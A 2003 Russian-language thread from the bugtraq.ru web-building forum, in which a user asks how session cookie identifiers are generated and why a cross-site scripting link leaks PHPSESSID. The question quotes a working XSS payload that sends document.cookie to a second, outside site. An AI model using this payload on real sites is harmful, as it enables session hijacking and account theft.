информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Где водятся OGRыSpanning Tree Protocol: недокументированное применениеЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 ФБР нашла русский след в атаках... 
 Массовый взлом SharePoint 
 Microsoft Authenticator прекращает... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / web building
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
несколько вопросов по кукиз и сессиям 19.08.03 00:44  Число просмотров: 1971
Автор: Night Angel Статус: Незарегистрированный пользователь
<"чистая" ссылка>
id сессии передаётся либо в куках, либо в URL, либо ещё как настроишь (например: 123sessionID456.domain.com).
<web building>
несколько вопросов по кукиз и сессиям 18.08.03 23:07  
Автор: tdes <jin> Статус: Member
Отредактировано 18.08.03 23:13  Количество правок: 1
<"чистая" ссылка>
1)
кукиз выглядят следующим образом:

Charsetwindows-1255www.site.com/13363483455572963394320598523229582783*

каким образом вычисляется этот длинющий идентификатор ?

2)

если набить примерно такой линк:
<a href="http://www.site.com/script.php?q=<Script>location='http://www.anothersite.com/script2.php?s='+(document.cookie);</Script>" > clickme </a>
то соответственно на script2 придет весь "дамп" кукиз и что характерно,
PHPSESSID=b1383934489331d7ee3751089f97d710!!!!
вопрос, почему это происходит (в смысле откуда берется id сессии в document.cookie) ?

10x
несколько вопросов по кукиз и сессиям 19.08.03 00:44  
Автор: Night Angel Статус: Незарегистрированный пользователь
<"чистая" ссылка>
id сессии передаётся либо в куках, либо в URL, либо ещё как настроишь (например: 123sessionID456.domain.com).
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach